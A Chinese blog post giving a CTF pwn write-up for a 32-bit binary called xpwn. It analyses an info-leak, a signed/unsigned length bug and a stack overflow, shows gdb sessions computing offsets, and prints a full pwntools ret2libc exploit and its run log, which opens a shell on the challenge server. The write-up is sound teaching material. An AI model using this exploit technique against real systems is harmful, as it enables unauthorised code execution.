前言

Pwn菜鸡比赛的时候不会做,时间都花在Web题上面了,只能比赛后来复现了。


查看保护,基本没有什么保护:

[*] '/home/aluvion/Desktop/xpwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

IDA反编译,主要漏洞代码如下:

int __cdecl sub_80485DB(FILE *stream, FILE *a2)
{
  int v2; // eax@1
  char buf; // [sp+0h] [bp-48h]@1

  printf("Enter username: ");
  v2 = fileno(stream);
  read(v2, &buf, 0x40u);
  return fprintf(a2, "Hello %s", &buf);
}
int __cdecl main(int a1)
{
  int v1; // eax@4
  char buf; // [sp+0h] [bp-4Ch]@4
  size_t nbytes; // [sp+40h] [bp-Ch]@1
  int *v5; // [sp+48h] [bp-4h]@1

  v5 = &a1;
  setbuf(stdout, 0);
  sub_80485DB(stdin, stdout);
  sleep(1u);
  printf("Please set the length of password: ");
  nbytes = sub_804862D();
  if ( (signed int)nbytes > 63 )
  {
    puts("Too long!");
    exit(1);
  }
  printf("Enter password(lenth %u): ", nbytes);
  v1 = fileno(stdin);
  read(v1, &buf, nbytes);
  puts("All done, bye!");
  return 0;
}

漏洞点有三个:

  • fprintf(a2, “Hello %s”, &buf) 字符串没有\x00结尾,可以用栈溢出来泄露地址
  • 限制输入长度的时候,使用的是有符号数,输入的时候使用的是无符号数,没有进行负数检查,我们输入负数即可获得一个相当长的输入长度上限
  • read(v1, &buf, nbytes) 栈溢出漏洞

首先我们用gdb调试,看看栈里面有什么值得泄露的数据:

Breakpoint 1, 0x08048610 in ?? ()
gdb-peda$ stack 25
0000| 0xffffd4a0 --> 0x0 
0004| 0xffffd4a4 --> 0xffffd4b0 ("Twings\n\bX\202\004\b")
0008| 0xffffd4a8 --> 0x40 ('@')
0012| 0xffffd4ac --> 0xffffd528 --> 0xf7e0cdc8 --> 0x2b76 ('v+')
0016| 0xffffd4b0 ("Twings\n\bX\202\004\b")
0020| 0xffffd4b4 --> 0x80a7367 
0024| 0xffffd4b8 --> 0x8048258 --> 0x57 ('W')
0028| 0xffffd4bc --> 0x0 
0032| 0xffffd4c0 --> 0xf7ffda74 --> 0xf7fd3470 --> 0xf7ffd918 --> 0x0 
0036| 0xffffd4c4 --> 0xf7e0ccc8 --> 0x29d0 
0040| 0xffffd4c8 --> 0xf7e6021b (<__GI__IO_setbuffer+11>:    add    ebx,0x151de5)
0044| 0xffffd4cc --> 0x0 
0048| 0xffffd4d0 --> 0xf7fb2000 --> 0x1b1db0 
0052| 0xffffd4d4 --> 0xf7fb2000 --> 0x1b1db0 
0056| 0xffffd4d8 --> 0xffffd568 --> 0x0 
0060| 0xffffd4dc --> 0xf7e66005 (<setbuf+21>:    add    esp,0x1c)
0064| 0xffffd4e0 --> 0xf7fb2d60 --> 0xfbad2887 
0068| 0xffffd4e4 --> 0x0 
0072| 0xffffd4e8 --> 0x2000 ('')
0076| 0xffffd4ec --> 0xf7e65ff0 (<setbuf>:    sub    esp,0x10)
0080| 0xffffd4f0 --> 0xf7fb2d60 --> 0xfbad2887 
0084| 0xffffd4f4 --> 0xf7ffd918 --> 0x0 
0088| 0xffffd4f8 --> 0xffffd568 --> 0x0 
0092| 0xffffd4fc --> 0x80486a3 (add    esp,0x10)
0096| 0xffffd500 --> 0xf7fb25a0 --> 0xfbad2088 
gdb-peda$ p $ebp
$25 = (void *) 0xffffd4f8

可以看到这么一行:

0060| 0xffffd4dc --> 0xf7e66005 (<setbuf+21>:    add    esp,0x1c)

所以我们只要用数据一直覆盖掉 0xffffd4d4 地址处的 \x00 ,我们就可以将 setbuf 函数地址 +21 后的地址泄露出来,然后计算 libc 的偏移。

同时我们还可以关注到一点:0xffffd4d8 地址处的数据和 ebp 寄存器中的数据是一样的,所以我们还同时可以得到 mian 函数的基地址。

但是题目没有简单到,计算出偏移之后就可以直接利用第二个栈溢出 getshell 的地步:

0x804872d:    call   0x8048470 <puts@plt>
0x8048732:    add    esp,0x10
0x8048735:    mov    eax,0x0
0x804873a:    lea    esp,[ebp-0x8]
0x804873d:    pop    ecx
0x804873e:    pop    ebx
0x804873f:    pop    ebp
0x8048740:    lea    esp,[ecx-0x4]

可以看到,main 函数最后用 lea 指令做了一下简单的栈溢出防护,如果我们在溢出的过程中破坏了 ebp - 0x8 地址处的数据,就会导致 esp 寄存器错误,最后程序报错退出。所以我们需要在栈溢出的时候,修复这个地方的数据。

同样是 gdb 调试:

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xffffffff 
ECX: 0xffffffff 
EDX: 0xf7fb3870 --> 0x0 
ESI: 0xf7fb2000 --> 0x1b1db0 
EDI: 0xf7fb2000 --> 0x1b1db0 
EBP: 0xffffd568 --> 0x0 
ESP: 0xffffd510 --> 0x0 
EIP: 0x804873a (lea    esp,[ebp-0x8])
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804872d:    call   0x8048470 <puts@plt>
   0x8048732:    add    esp,0x10
   0x8048735:    mov    eax,0x0
=> 0x804873a:    lea    esp,[ebp-0x8]
   0x804873d:    pop    ecx
   0x804873e:    pop    ebx
   0x804873f:    pop    ebp
   0x8048740:    lea    esp,[ecx-0x4]
[------------------------------------stack-------------------------------------]
0000| 0xffffd510 --> 0x0 
0004| 0xffffd514 --> 0xffffd5b4 --> 0x5f0267f1 
0008| 0xffffd518 --> 0xf7fb2000 --> 0x1b1db0 
0012| 0xffffd51c ("Twings\n\377/")
0016| 0xffffd520 --> 0xff0a7367 
0020| 0xffffd524 --> 0x2f ('/')
0024| 0xffffd528 --> 0xf7e0cdc8 --> 0x2b76 ('v+')
0028| 0xffffd52c --> 0xf7fd31b0 --> 0xf7e00000 --> 0x464c457f 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x0804873a in ?? ()
gdb-peda$ p $ebp
$26 = (void *) 0xffffd568
gdb-peda$ p $ebp - 8
$27 = (void *) 0xffffd560
gdb-peda$ p *0xffffd560
$28 = 0xffffd580
gdb-peda$ p 0xffffd560 - 0xffffd51c
$29 = 0x44
gdb-peda$ p 0xffffd580 - 0xffffd568
$30 = 0x18

我们的输入的地址为 0xffffd51c ,要修改的地址为 0xffffd560 ,偏移为 0x44;数据为 0xffffd580 ,跟 ebp 寄存器中地址(main 函数的基地址)的偏移为 0x18。

我们继续调试得到 main 函数的返回地址来覆盖:

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0xffffd580 --> 0x1 
EDX: 0xf7fb3870 --> 0x0 
ESI: 0xf7fb2000 --> 0x1b1db0 
EDI: 0xf7fb2000 --> 0x1b1db0 
EBP: 0x0 
ESP: 0xffffd57c --> 0xf7e18637 (<__libc_start_main+247>:    add    esp,0x10)
EIP: 0x8048743 (ret)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804873e:    pop    ebx
   0x804873f:    pop    ebp
   0x8048740:    lea    esp,[ecx-0x4]
=> 0x8048743:    ret    
   0x8048744:    xchg   ax,ax
   0x8048746:    xchg   ax,ax
   0x8048748:    xchg   ax,ax
   0x804874a:    xchg   ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xffffd57c --> 0xf7e18637 (<__libc_start_main+247>:    add    esp,0x10)
0004| 0xffffd580 --> 0x1 
0008| 0xffffd584 --> 0xffffd614 --> 0xffffd77b ("/home/aluvion/Desktop/xpwn")
0012| 0xffffd588 --> 0xffffd61c --> 0xffffd796 ("LC_PAPER=zh_CN.UTF-8")
0016| 0xffffd58c --> 0x0 
0020| 0xffffd590 --> 0x0 
0024| 0xffffd594 --> 0x0 
0028| 0xffffd598 --> 0xf7fb2000 --> 0x1b1db0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048743 in ?? ()
gdb-peda$ p 0xffffd57c - 0xffffd51c
$31 = 0x60

可以看到返回地址为 0xffffd57c ,跟我们的输入的偏移为 0x60 ,我们可以写出脚本:

from pwn import *

elf = ELF("../xpwn")
libc = ELF("../libc.so.6")
context.log_level = "debug"

system_libc = libc.symbols["system"]
setbuf_libc = libc.symbols["setbuf"]
bin_sh_libc = libc.search("/bin/sh").next()

# target = process("../xpwn")
target = remote("116.85.48.105", 5005)

target.recvuntil("Enter username: ")
target.sendline("p" * 36)
target.recvuntil("p" * 36)
target.recv(4)
main_ebp = u32(target.recv(4))
setbuf_addr = u32(target.recv(4)) - 21
print "main ebp: " + hex(main_ebp)
print "setbuf addr: " + hex(setbuf_addr)
pause()

target.recvuntil("password: ")
target.sendline('-1')

system_addr = setbuf_addr - setbuf_libc + system_libc
bin_sh_addr = setbuf_addr - setbuf_libc + bin_sh_libc
payload = "p" * 0x44 + p32(main_ebp + 0x18)
payload += "p" * (0x60 - 0x44 - 0x04) + p32(system_addr)
payload += "a" * 0x04 + p32(bin_sh_addr)
target.recvuntil("): ")
target.send(payload)

target.interactive()
target.close()

结果:

root@Aluvion:/home/aluvion/Desktop/二进制# python dd2019.py 
[*] '/home/aluvion/Desktop/xpwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/home/aluvion/Desktop/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 116.85.48.105 on port 5005: Done
[DEBUG] Received 0x10 bytes:
    'Enter username: '
[DEBUG] Sent 0x25 bytes:
    'pppppppppppppppppppppppppppppppppppp\n'
[DEBUG] Received 0x3a bytes:
    00000000  48 65 6c 6c  6f 20 70 70  70 70 70 70  70 70 70 70  │Hell│o pp│pppp│pppp│
    00000010  70 70 70 70  70 70 70 70  70 70 70 70  70 70 70 70  │pppp│pppp│pppp│pppp│
    00000020  70 70 70 70  70 70 70 70  70 70 0a f0  6e f7 f8 1b  │pppp│pppp│pp··│n···│
    00000030  92 ff 65 44  5a f7 60 fd  6e f7                     │··eD│Z·`·│n·│
    0000003a
main ebp: 0xff921bf8
setbuf addr: 0xf75a4450
[*] Paused (press any to continue)
[DEBUG] Received 0x23 bytes:
    'Please set the length of password: '
[DEBUG] Sent 0x3 bytes:
    '-1\n'
[DEBUG] Received 0x22 bytes:
    'Enter password(lenth 4294967295): '
[DEBUG] Sent 0x6c bytes:
    00000000  70 70 70 70  70 70 70 70  70 70 70 70  70 70 70 70  │pppp│pppp│pppp│pppp│
    *
    00000040  70 70 70 70  10 1c 92 ff  70 70 70 70  70 70 70 70  │pppp│····│pppp│pppp│
    00000050  70 70 70 70  70 70 70 70  70 70 70 70  70 70 70 70  │pppp│pppp│pppp│pppp│
    00000060  40 99 57 f7  61 61 61 61  2b 80 69 f7               │@·W·│aaaa│+·i·││
    0000006c
[*] Switching to interactive mode
[DEBUG] Received 0xe bytes:
    'All done, bye!'
All done, bye![DEBUG] Received 0x1 bytes:
    '\n'

$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x23 bytes:
    'DDCTF{s0_3asy_St4ck0verfl0w_r1ght?}'
DDCTF{s0_3asy_St4ck0verfl0w_r1ght?}$ 
[*] Interrupted
[*] Closed connection to 116.85.48.105 port 5005

Orz


CTF Pwn

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

2019国赛部分题解简略版
DDCTF2019-Web题解